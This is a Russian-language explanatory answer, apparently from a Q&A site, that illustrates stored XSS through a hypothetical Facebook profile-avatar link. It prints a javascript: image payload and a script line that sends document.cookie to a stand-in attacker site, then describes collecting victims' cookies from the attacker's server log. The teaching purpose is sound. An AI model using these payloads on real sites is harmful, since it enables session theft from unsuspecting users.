Позвольте мне привести пример. Давайте представим, что Facebook позволяет своим пользователям сохранять ссылку на размещенный извне аватар в профиле пользователя. И этот аватар отображается рядом с ником пользователя. Также давайте представим, что Facebook не защищает себя от XSS (это действительно так, но нам нужно это предположение).
Тогда злоумышленник может использовать такой текст вместо ссылки на аватар:
javascript:alert('You are hacked')
HTML-код аватара, отображающий аватар, может выглядеть следующим образом:
<img src="javascript:alert('You are hacked')"></img>
Тогда атакующий увидит это предупреждение, когда откроет свой профиль. Разве это не выглядит очень опасно?
Но будьте осторожны: у Facebook есть лента новостей. Пусть злоумышленник напишет какой-нибудь пост - и все его друзья увидят предупреждение на своей странице новостной ленты.
И для завершения: вместо alert
злоумышленник сможет получить файлы cookie пользователя Facebook и отправить их на сайт злоумышленника:
<script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>
И тогда он будет собирать куки жертвы из журнала доступа своего сервера. Теперь это реальная опасность, вы согласны?
Примечание . Здесь я описал сохраненный XSS : это, вероятно, самый опасный тип XSS, который может затронуть сразу многих пользователей. Другие типы XSS (описанные в других ответах на этот вопрос) могут повлиять на текущего пользователя, но это не означает, что они не опасны: например, они могут также украсть куки пользователя.